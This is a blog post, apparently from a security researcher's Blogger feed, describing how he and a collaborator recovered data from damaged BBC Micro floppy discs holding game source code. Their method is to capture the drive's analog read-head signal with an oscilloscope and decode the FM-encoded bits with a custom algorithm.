tag:blogger.com,1999:blog-30244704809377448842024-03-18T04:41:01.804-07:00SecurityHacking everything, by Chris Evans / scarybeastsChris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.comBlogger112125tag:blogger.com,1999:blog-3024470480937744884.post-10575914249741250672021-05-17T12:36:00.000-07:002021-05-17T12:36:24.683-07:00Recovering "lost" treasure-filled floppy discs with an oscilloscope<p>There are many good, modern solutions for reading data off old floppy discs and drives. Perhaps the best is the <a href="https://github.com/keirf/Greaseweazle/wiki/Greaseweazle-Models" target="_blank">Greaseweazle</a>: it's capable, open source, open hardware, inexpensive and has a vibrant and friendly community behind it. It connects directly to a floppy drive, replacing the floppy disc controller, and reads the disc in great detail. It can handle regular discs or any known copy protection without really breaking a sweat.</p><p>But what happens when the Greaseweazle reports data that is heavily corrupted and unreadable? Are we out of luck? What if the unreadable disc contains some historic treasure, such as source code for an iconic game? Do we have to shed a tear and move on?</p><p>I recently found myself, along with Phil Pemberton, in this situation. Given the unique nature of source code discs, and the potential for historical interest, we were determined to succeed...</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrJU9Y0XOZ2y9GcxIkmkdHvrWUUpCXz025EX_mZsxn39DFEdXvgd7n8f_Zh3a_DOE5Xyxl6z9uWt2RjZAxXWT4EfbMbvaDMHRhZS_K2mLXDi_bh6-FQREe9o7vaiWtoffrJ96AVUj7SNks/s640/43881_gw_f7_v2_full.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="396" data-original-width="640" height="198" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjrJU9Y0XOZ2y9GcxIkmkdHvrWUUpCXz025EX_mZsxn39DFEdXvgd7n8f_Zh3a_DOE5Xyxl6z9uWt2RjZAxXWT4EfbMbvaDMHRhZS_K2mLXDi_bh6-FQREe9o7vaiWtoffrJ96AVUj7SNks/w320-h198/43881_gw_f7_v2_full.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">A Greaseweazle F7 Plus. A very capable disc reading device, but it is limited by the information the disc drive sends to it.</td></tr></tbody></table><p style="text-align: left;"><br /></p><h2 style="text-align: left;">How do discs and drives work anyway?</h2><p>Back in the 1980s, your electronic devices often had outstanding user manuals and maintenance manuals, and this definitely applied to floppy disc drives. Aside from enabling you to service the devices you owned, you often got great information on how the device worked. Here is an extremely informative page from the <a href="http://www.minuszerodegrees.net/manuals/TEC/TEC%20FB-50x%20series%20-%20Technical%20manual.pdf" target="_blank">TEC FB-50x technical manual</a>:</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzb7XYDDkUJ5TcZ7zV7vJ6VU4R3tEHCGQX_jGk1ou_-btiQ_oCjx5CVZggUPbhvFt4unwCpGCRPR3nmWa3hBHgDW11N07I499vI7AkYeKXzoHF-9HUUPCF1gNMjb6iJhmsUAHan0d2cbvF/" style="margin-left: 1em; margin-right: 1em;"><img alt="" data-original-height="2048" data-original-width="1429" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhzb7XYDDkUJ5TcZ7zV7vJ6VU4R3tEHCGQX_jGk1ou_-btiQ_oCjx5CVZggUPbhvFt4unwCpGCRPR3nmWa3hBHgDW11N07I499vI7AkYeKXzoHF-9HUUPCF1gNMjb6iJhmsUAHan0d2cbvF/w445-h640/image.png" width="445" /></a></div><p>This one page concisely describes the chain of electronic transforms from the disc drive magnetic read head, through to the READ DATA output pin that the disc drive offers to the Greaseweazle. As can be seen, the READ DATA pulses (digital pulses, but with analog timing between them) are a best guess approximation at where the analog waveform peaks exist in the voltages coming off the read head.</p><p>So conceptually, a disc drive's read operation is fairly simple. Magnetic flux reversals on the disc surface generate peaks in an analog voltage waveform. The drive outputs pulses corresponding to these peaks. It's up to the floppy disc controller to make sense of the timings between the pulses and turn these into data bits. There are several different encoding schemes used for turning pulse timings into data (and visa versa), such as <a href="https://en.wikipedia.org/wiki/Modified_frequency_modulation" target="_blank">MFM</a> (used in PCs, Amiga, BBC Micro ADFS) and <a href="https://en.wikipedia.org/wiki/Group_coded_recording" target="_blank">GCR</a> (used in the Apple II and Commodore 64). The BBC Micro DFS discs we're dealing with have the simplest encoding of them all, <a href="https://en.wikipedia.org/wiki/Run-length_limited#FM:_.280.2C1.29_RLL" target="_blank">FM</a>.</p><p>The drive doesn't care at all about the encoding, as long as the time between the pulses is calibrated such that the magnetic reversals can be stored reliably on the physical disc surface.</p><p><br /></p><h2 style="text-align: left;">The Greaseweazle view of some "unreadable" discs</h2><p>Phil and I had the honor of trying to recover the source code to the iconic BBC Micro game <a href="http://bbcmicro.co.uk/game.php?id=425" target="_blank">Repton 3</a>. We also received the source code discs for other games by the same author (Matthew Atkinson), including <a href="http://bbcmicro.co.uk/game.php?id=179" target="_blank">Tempest</a>, <a href="http://bbcmicro.co.uk/game.php?id=768" target="_blank">The Living Daylights</a> and <a href="http://bbcmicro.co.uk/game.php?id=1385">U.I.M.</a></p><p>The recovery was not entirely smooth. Some of the discs had patches of moderate damage and a few of the discs had patches of heavy damage. Let's have a look at two of those, as seen by the Greaseweazle and rendered by <a href="https://sourceforge.net/projects/hxcfloppyemu/" target="_blank">HxC Floppy Emulator Software</a>:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmmI2Cp0XCZ381Gv0gP1XXt4a1GApFBgf-lT7ekGIjkctFxK89IaMez4_oOrGbN5zj3d9TNqu6v5FlGTWWMbdnkBFLN65MFM-BuHR-WkQhxfLOK3s9qLFLVO9dEmdtExbancAXjJfJbU01/s1922/hxc_fat_pixels_r3_elk_tape_editor_t22.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjmmI2Cp0XCZ381Gv0gP1XXt4a1GApFBgf-lT7ekGIjkctFxK89IaMez4_oOrGbN5zj3d9TNqu6v5FlGTWWMbdnkBFLN65MFM-BuHR-WkQhxfLOK3s9qLFLVO9dEmdtExbancAXjJfJbU01/w640-h352/hxc_fat_pixels_r3_elk_tape_editor_t22.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Track 22 of one of the Repton 3 source code discs.</td></tr></tbody></table><p>Looking at the first disc above, we've got problems in the middle of one of the sectors on track 22 of the disc. The vertical green bars are the sectors. Unsurprisingly, the red one has the problem. Red means that there's a CRC error: the on-disc CRC doesn't match the calculated expected CRC.</p><p>Have a look at the two horizontal blank bands. These are actually "dot clouds" representing timings between pulses coming back from the disc drive. The tighter these bands are, the clearer the signal and the better condition the disc surface is in. The black bands above are ok -- not too ragged -- until they degenerate to almost random noise at the point of the error. This is a serious read failure because the faulty timings are all over the place. We can re-read this disc all we want, but the Greaseweazle will only see noise. Any data in that faulty region is lost to the Greaseweazle.</p><p>Out of curiosity, what is wrong with this disc?? Well, a quick inspection of the disc itself reveals the culprit: a dent!</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjunerGv-LPKNLQkb0yjTBpdBu-9H3gE5sCN0zjbyiJml5naB1VuCoxPd2OHEmMiDROjxdp5el_x7ZAYXq89XlsbQ5q86qd0_ouIV3MEUFWktkQJVJDzNQDpYAzkZV9xEp2nbLgmgB2ZVXM/s4608/philpem_disc_dented_large.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="4608" data-original-width="3456" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjunerGv-LPKNLQkb0yjTBpdBu-9H3gE5sCN0zjbyiJml5naB1VuCoxPd2OHEmMiDROjxdp5el_x7ZAYXq89XlsbQ5q86qd0_ouIV3MEUFWktkQJVJDzNQDpYAzkZV9xEp2nbLgmgB2ZVXM/w300-h400/philpem_disc_dented_large.jpg" width="300" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">This dent affects around 10 tracks, some severely.</td></tr></tbody></table><p>A disc's surface is made of pretty robust and pliable plastic, so we did carefully flatten the dent out without scraping off any disc surface. Unfortunately, this did not improve the signal quality. One theory is that the disc was written after the dent was formed.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjIGkNhZuCEfKuLk3aK3liCUlThT6OgskKcEEPPBzt2nY0zs3TFepwMN1dx-ruujjTHfCDofqyDxuSuQWCC0cfJS4pMcoIGxDo-R3sEeUcS6ZucTdpZ7hDYM8ll8HukRXpe4yu8uKYJjp/s1922/hxc_fat_pixels_ld_bbc_disc_t0.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigjIGkNhZuCEfKuLk3aK3liCUlThT6OgskKcEEPPBzt2nY0zs3TFepwMN1dx-ruujjTHfCDofqyDxuSuQWCC0cfJS4pMcoIGxDo-R3sEeUcS6ZucTdpZ7hDYM8ll8HukRXpe4yu8uKYJjp/w640-h352/hxc_fat_pixels_ld_bbc_disc_t0.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Track 0 of one of The Living Daylights source code discs.</td></tr></tbody></table><p>Looking at the second disc above, we see this poor disc has suffered a terrible corruption! The first two physical sectors on track 0 are comprised largely of noise. This is one of the worst sector read attempts you are likely to see. An unformatted track looks worse, but not by a whole lot.</p><p>What is particularly curious is that the sector headers leading up to the sector data are perfectly intact. Before the grey noise clouds on the white background, you'll see a thin vertical strip of green. That's the sector header and they're 100% fine. So, we're not looking at a contiguous patch of disc damage. Instead, the write of the sector bodies appears to have written noise. The question of "what happened here?" is definitely interesting so we'll revisit it later.</p><p><br /></p><h2 style="text-align: left;">The analog hookup</h2><p>So, we're dealing with discs that are sufficiently faulty as to be unreadable to a Greaseweazle. Is the data lost forever? To find out, we need to look at what's actually on the disc surface (as opposed to what the drive sends to the Greaseweazle). This image shows the setup we used to investigate:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZnoZ656Rfz4f12BS-QdRS7nzswPW6lNjvN9YiZlyKaBeMOFe1J8RlzxBxLr3_koK8nCVp6sXtha55mCSfNobzjFEoRi8lhNOO5uNr1GfxXTIPlTj5kS_MaS5FwHACphXWrv2TZCo-IY-y/s4032/analog_hookup.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="4032" data-original-width="3024" height="640" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZnoZ656Rfz4f12BS-QdRS7nzswPW6lNjvN9YiZlyKaBeMOFe1J8RlzxBxLr3_koK8nCVp6sXtha55mCSfNobzjFEoRi8lhNOO5uNr1GfxXTIPlTj5kS_MaS5FwHACphXWrv2TZCo-IY-y/w480-h640/analog_hookup.jpg" width="480" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">My TEC FB-502 drive connected to a Greaseweazle and also connected to my Siglent SDS 1104X-E scope.</td></tr></tbody></table><p>In this setup, we're still using the Greaseweazle, but only for control and not data. We use it to seek and to spin up the drive motor. The red, yellow and blue wires are connected to three of the drive's test points. The blue wire is the index signal, which pulses once per revolution of the disc. We use this to trigger the oscilloscope capture. The red and yellow wires correspond to the TP3 and TP4 test points referenced above in the diagram from the TEC technical manual. These are the post-amplified voltages coming off the disc drive read head and are the inverse of one another. The trick is to subtract one from the other to eliminate noise common to both signals.</p><p>The oscilloscope is a Siglent SDS 1104X-E. It's considered entry level but fortunately, modern tech is powerful compared to 1980s tech. It can sample an entire disc track (200ms of time) to its internal memory at a sample rate of 25Msamples/s, whereas the on-disc bit rate is 250kbit/s. It has voltage sensitivity down to 500uV/div, which dwarfs the a typical signal strength of 400mV peak-to-peak.</p><p>Looking on the scope screen, the top half represents an analog capture of an entire track. There's not much to see other than a couple of cyan blips -- those are the index pulses denoting the start of the track revolution. The bottom half is a zoomed-in view and shows the analog view of actual stored bits on the disc surface. To the left, there is 4us between each peak, and on the right, 8us between each peak. We'll get into the encoding later, but a couple of 4us peaks typically represents a "1" data bit and an 8us peak a "0" data bit.</p><p>[For another journey on analog-level disc reading, we recommend this <a href="http://www.makercentral.net/pages/posts/introducing-floppycontrolapp-5.php" target="_blank">FloppyControlApp blog post</a>]</p><p><br /></p><h2 style="text-align: left;">Different drives, different results</h2><p>One thing we found interesting is that different disc drives have different behaviors at the analog level. These differences won't affect discs in good condition, but definitely lead to different behavior when trying to read faulty discs.</p><p>I captured the analog signal from various drives' test points, for a couple of faulty discs. First up, here's another disc with a dent, my <a href="http://www.flaxcottage.com/educational/ShowPackage.asp?p=32" target="_blank">Animated Numbers</a> educational title. The manifestation of a dent generally seems to be a significant loss of signal amplitude. Let's have a look at the analog signal captured around the region of the dent:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9aWWrKPPvKVkGOmoAE1gsazKEnnw0MKjlw91yfK0sas1h45_EX7Wx85ovy_s4pEpjtmkDjfq8ySvslX8jPQeMY_sT2TYxuFeXATyQIuW5mxHvdlhK2R_pephvW8a-ZnBaMqDvaCzmg9tR/s1922/aud_an_mf503.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9aWWrKPPvKVkGOmoAE1gsazKEnnw0MKjlw91yfK0sas1h45_EX7Wx85ovy_s4pEpjtmkDjfq8ySvslX8jPQeMY_sT2TYxuFeXATyQIuW5mxHvdlhK2R_pephvW8a-ZnBaMqDvaCzmg9tR/w640-h352/aud_an_mf503.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Mitsubishi MF503 (full res: <a href="https://drive.google.com/file/d/14Cu8cbJi1VtLP4r5vJ_Rii3Q976CTL_P/view" target="_blank">click here</a>)</td></tr></tbody></table><p>At the low amplitudes in the middle of the dent, my MF503 drive provides a noisy, spiky signal. After filtering the noise out in modern software, the signal still isn't clean and differentiating the 0 bits from the 1 bits isn't trivial.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5vjEolilztraGaXSuOJCTjAJ7gLXv89f6mjeA5RXGPGdrIEhBeKPtMieR_B8DRfOSqtO5_zJDHETFANlDUb5CA-zZN5Fo2d0UPut-fwBn7Q22SLrMmk2vdUWOR4rPWoUq5mkCdp0bsTxg/s1922/aud_an_mf504c.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi5vjEolilztraGaXSuOJCTjAJ7gLXv89f6mjeA5RXGPGdrIEhBeKPtMieR_B8DRfOSqtO5_zJDHETFANlDUb5CA-zZN5Fo2d0UPut-fwBn7Q22SLrMmk2vdUWOR4rPWoUq5mkCdp0bsTxg/w640-h352/aud_an_mf504c.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Mitsubishi MF504C (full res: <a href="https://drive.google.com/file/d/1_s8bpe6duTmikhMua14OzagPwcWUgd73/view" target="_blank">click here</a>)</td></tr></tbody></table><p>This slightly less ancient Mitsubishi drive offers a much cleaner analog signal, although quite weak at the worst of the dent: about 5mV peak-to-peak in places. The signal cleans up further with filtering in modern software. The peaks are far too faint for the drive electronics to resolve anything, but as a human, you can discern 4us peaks from 8us peaks. From a quick eyeball, the data appears to be intact.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjN-xWBGAHj3duIIYa8mNTvXkthrSyUyPh4fZz0skuyLgZavqVO8UqC7dJ4jZVjQ_F55KRZr0NVET4PHeFggogsdf6EN4dixbI5bgaxT6DqRHM4nRCO8DXyA3HXHpv9ItFSbm_KqHmUwHA/s1922/aud_an_fd55fv.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjjN-xWBGAHj3duIIYa8mNTvXkthrSyUyPh4fZz0skuyLgZavqVO8UqC7dJ4jZVjQ_F55KRZr0NVET4PHeFggogsdf6EN4dixbI5bgaxT6DqRHM4nRCO8DXyA3HXHpv9ItFSbm_KqHmUwHA/w640-h352/aud_an_fd55fv.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">TEAC FD-55FV (full res: <a href="https://drive.google.com/file/d/1pSFpF9mUF6lhlk0VKrtHli88GHZ-MdpL/view" target="_blank">click here</a>)</td></tr></tbody></table><p>The TEAC drive signal appears "thick" in the above image. That's the presence of some high frequency noise. It is probably there because some TEAC technical reference manuals show the analog signal test points as being wired <i>before</i> the low pass filter. Applying a low pass filter in software reveals a reasonable looking signal that is slightly stronger than the Mitsubishi drives.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiI7HneHhtkXzv6YKE6k5d3ZH-DoHh0x4eXW-NjrdQl6piOsrvBnI6u_7tHJBj0gfqBbWQvITBYWR-a9bj_vQECqArX9eJnhMNM2_miJvw-p89WiK2T70W-nszHGBa_v249JhU77MOWykn/s1922/aud_an_fb502.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="1055" data-original-width="1922" height="352" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiI7HneHhtkXzv6YKE6k5d3ZH-DoHh0x4eXW-NjrdQl6piOsrvBnI6u_7tHJBj0gfqBbWQvITBYWR-a9bj_vQECqArX9eJnhMNM2_miJvw-p89WiK2T70W-nszHGBa_v249JhU77MOWykn/w640-h352/aud_an_fb502.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">TEC FB-502 (full res: <a href="https://drive.google.com/file/d/1fA9tVvXCnHxGYhn2_I4pJxCCUxQbraHi/view" target="_blank">click here</a>)</td></tr></tbody></table><p>This TEC drive does very well! The "worst" peaks are clear, clean and reasonably strong at 50mV peak-to-peak. No further software filtering is needed to get clearly resolvable peaks. Also, this drive has a generally stronger signal than the other drives (at 700mV peak-to-peak) for the undamaged sections of the disc.</p><p>Let's move on to another dodgy disc to test our ability to recover data at the analog level. This time, we're looking at "Old Macdonald's Farm" by EDIT, an unarchived disc I'm borrowing that is damaged in an identical manner to the "The Living Daylights" source code disc noted above. Here's the analog view of track 0 of that disc.</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaicMjlfwn25ebOQebcaa7osm9e3dFZ-q4dC2B0VTEDYutnBhqLrZOPAHqkscWgvxSnj_C-iZAwEKVfgeSXY7t-5nu3i_N3FxlFpaFVtGPrYYfpS8SW1YAZ9Z51VF5GtrE27vlIqchXwG0/s800/signal_collapse_catalog_sectors.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="480" data-original-width="800" height="384" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiaicMjlfwn25ebOQebcaa7osm9e3dFZ-q4dC2B0VTEDYutnBhqLrZOPAHqkscWgvxSnj_C-iZAwEKVfgeSXY7t-5nu3i_N3FxlFpaFVtGPrYYfpS8SW1YAZ9Z51VF5GtrE27vlIqchXwG0/w640-h384/signal_collapse_catalog_sectors.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Track 0 of Old McDonald's Farm.</td></tr></tbody></table><div><p style="text-align: left;">On top we have a full-track view. It repeats about 75% of the screen width across. The first two sector bodies have a completely collapsed signal, denoted by a magenta flat-line. The strong blip in the middle of the two sector bodies is the sector header, which is fully intact. Only the bodies are toast. On the bottom we have a zoomed-in view to the point where the signal collapses. At first glace, it's a total signal collapse that looks like analog noise.</p><p style="text-align: left;">Let's see what the different drives make of the collapsed area, if we turn up the oscilloscope sensitivity to 10mV/div and zoom in. We'll specifically look at what the first byte of the sector data looks like on various different drives:</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFeXSLr_SKBTktCmkb6_F8LVVoZsQHDIOjCSj2JhK9rJT6tvraJMzXGn9SQPvM79R-PNJ9rgLr_hImK_JgyvEzwYCLI0COmH1BTRKEMNqdLKfvtmX6y4xQODhsr-bv-RgkMQ7AgzcGxUV_/s559/1byte_flux.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="559" data-original-width="448" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgFeXSLr_SKBTktCmkb6_F8LVVoZsQHDIOjCSj2JhK9rJT6tvraJMzXGn9SQPvM79R-PNJ9rgLr_hImK_JgyvEzwYCLI0COmH1BTRKEMNqdLKfvtmX6y4xQODhsr-bv-RgkMQ7AgzcGxUV_/s16000/1byte_flux.png" /></a></div><p style="text-align: left;">In each case, the oscilloscope is capturing at a resolution of 10mV/div, so these are weak signals. The TEC drive has the strongest signal at around 25mV peak-to-peak, with weaker peaks at 10mV peak-to-peak. The other drives are downhill from there. The TEC drive also produces the clearest, least noisy signal. It is the only drive with any reasonable hope of recovering bits from "Old Macdonald's Farm", because the signal gets more chaotic later into the ruined sectors.</p><p style="text-align: left;">For each signal sample, you'll see the bits of the first sector data byte annotated underneath in red (always the same, obviously, and it happens to be the ASCII character '1', the first character of the disc title which is "1187V1.0"). The BBC Micro discs we are dealing with here are single density discs, which use a very simple <a href="https://en.wikipedia.org/wiki/Run-length_limited#FM:_.280.2C1.29_RLL" target="_blank">FM encoding</a>. Inside a sector body, this encoding uses one "clock" bit to keep track of timing for every data bit. The clock bit is always 1, representing a flux transition and therefore a voltage peak every 8us. To store a "0" data bit, there will only be one peak in an 8us window; to store a "1" data bit there will be two peaks.</p><p style="text-align: left;">The signals above are not only faint but also messed up. If you're having trouble discerning why the "1"s and "0"s are labeled the way they are, that's not surprising. Here's what the analog signal looks like when it's normal:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ2z57X2H7u0Kc3ToHT-ofpHXjdzNHsoeMvQtoTapsX14-htVb0wSoskpyRBNahP-Q9QzTWcBkDLG1mXWkfuM1cz9APQ3jTp__5QVK95ISq71-4HmxHOg2IJzCC9is0LKjgf0S2XdvXJJR/s421/00101100.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="225" data-original-width="421" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJ2z57X2H7u0Kc3ToHT-ofpHXjdzNHsoeMvQtoTapsX14-htVb0wSoskpyRBNahP-Q9QzTWcBkDLG1mXWkfuM1cz9APQ3jTp__5QVK95ISq71-4HmxHOg2IJzCC9is0LKjgf0S2XdvXJJR/s320/00101100.png" width="320" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">This is "00101100".</td></tr></tbody></table><p style="text-align: left;">The signal is very clear. You'll notice that the peaks all have the same amplitude and shape as well as regular timing. This is from a floppy disc that is well over 30 years old. As long as floppy discs have been stored well, it's staggering how good the data integrity still is!</p><p style="text-align: left;">In terms of disc drives, one of my drives performs head and shoulders above the others: my TEC FB-502. I don't know why, and it's also one of my older drives. It could be that the disc read head is more sensitive, or able to hover closer to the disc surface. Or it could be the first stage amplifier has a far superior gain and signal-to-noise ratio. Or perhaps a mix of the two. The amplifier is a <a href="https://drive.google.com/file/d/1H42jrX886dSw-ieo_ukd8ZOhEXtuN2ji/view" target="_blank">Hitachi HA16331P</a>, which none of my other drives have. I look forward to finding another drive with this chip and comparing. It's also possible that the components (capacitors, perhaps?) have degraded on some of my drives and not the others. There are a lot of possible variables at play here.</p><p style="text-align: left;">The advice when recovering a signal that barely exists, is to try a few drives and see which is best. My TEC FB-502 is clearly a bit of a beast! The "Repton 3" and "The Living Daylights" discs were captured by Phil on his Mitsubishi drive, which is different still to my pair -- with different read heads and electronics -- which was giving good results.</p><p style="text-align: left;">As a fun bonus, Phil's drive also happened to have a variable resistor to control the rotation speed. This enabled us to crank the speed from the standard 300rpm to 400rpm. Why? Because of physics! The voltages induced in the drive read head are supposed to be proportional to the speed of magnetic flux change, and it did help a little with the signal strength.</p><p style="text-align: left;"><br /></p><h2 style="text-align: left;">A quick audio diversion</h2><p style="text-align: left;">The astute observer will notice that we're using "Audacity" for viewing the analog disc waveforms -- which is a well-known audio analysis and editing tool. This may seem strange at first, but it's a perfect fit. It enables rapid zooming and exploration of the waveforms, as well as having versatile low-pass filters and the ability to draw directly onto the canvas to fix iffy peaks. It also has a facility to import CSV files, which is one of the formats you might get from an oscilloscope.</p><p style="text-align: left;">And since we're in an audio tool, we can have some fun!</p><p style="text-align: left;">Have you ever heard what a floppy disc recording sounds like? If not, check out this WAV: <a href="https://drive.google.com/file/d/12tP5lElbvDwmlKQ2WaU9yLAy50chzgBX/view" target="_blank">click me</a>. It's slowed down so that it's in the range of human hearing. A disc revolution is normally 0.2s, as opposed to the 20s or so sample here. Some people say it evokes memories of their old modems connecting. This sample is actually the dented disc and perhaps my favorite part is the dent, where it sounds like a bit of a wub! wub! Could be a good bass sample for a tune :)</p><p style="text-align: left;"><br /></p><div><h2 style="text-align: left;">Peak recovery</h2><p>Having wired up our oscilloscopes to our best drives for capturing analog data, it's time to interpret the resulting waveforms. Of course, we ideally want a program to turn the analog waveform into a series of sector data bytes.</p><p style="text-align: left;">One of my attempts simply filtered the data aggressively with a low-pass filter and then looked at the timings between the peaks. Surprisingly (at least to me), this worked terribly. Upon investigation, there were various contributing factors:</p><p style="text-align: left;"></p><p></p><div style="text-align: left;"><ul style="text-align: left;"><li>The signal is very degraded, so there's a baseline of jitter in where the peaks appear vs. where they should be.</li><li>Applying aggressive filtering that is sufficient to eliminate "false" peaks also shifts the peaks' positions, exaggerating the jitter to the point that some peak timing deltas become indeterminate between 8us and 4us.</li><li>In the weak signals, the amplitude of the 4us peaks has degraded more than the 8us peaks. Sometimes, the 4us peaks are almost completely gone and filtering doesn't help with the clarity.</li></ul></div>The attempt that bore some fruit was to instead locate the start of the sector data, and continually look at the next 8us of the analog stream. If the voltage appears to generally drift in one direction, then it's a "0" bit, or if the voltage peaks one way and then the other, it's a "1" bit. After the decision, a re-sync is performed to the nearest peak. Visually, it looks like this:<p></p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEPtMwWjVYN2eBlIZclTzG5_1Hvm3enLtV-Fr55tjTqR_FtRQ5GYXVsRxqq8PWMXtBDg0_S5itbdS8MXNhig9OddJP0xA_AkAah3kwA4jD9HVPJ-QVf16qyr79RLbFq-7WOm1tLN0Y6ub/s960/A+state+of+flux.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="540" data-original-width="960" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjhEPtMwWjVYN2eBlIZclTzG5_1Hvm3enLtV-Fr55tjTqR_FtRQ5GYXVsRxqq8PWMXtBDg0_S5itbdS8MXNhig9OddJP0xA_AkAah3kwA4jD9HVPJ-QVf16qyr79RLbFq-7WOm1tLN0Y6ub/w640-h360/A+state+of+flux.png" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">A slide from a recent presentation.</td></tr></tbody></table><br /><p>As can been seen, the algorithm isn't fazed by false peaks. The 9th bit, a "0" bit, has a very prominent false peak. But the algorithm summarizes that the voltage trend in the 8us chunk is a big downward drift, which has to be a "0" bit.</p><p>Despite the chaotic nature of this waveform, the algorithm recovered all of the bytes in these "lost" sectors. To crib another slide from the recent presentation:</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgWweJBnVhpZ0wYx5qgTOtnf_qfjrOYMBgr25yGCY30neVL7Ui7H3YPUrQmatpbmJWixIFFbSeU2_kIcNbzd6okC0ImkDRZz0iz3vho9sS4Flmp3dTjVfcfwlbksJ6pbCjyWhX-dIPD3wQC/s960/A+state+of+flux+%25281%2529.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="540" data-original-width="960" height="360" 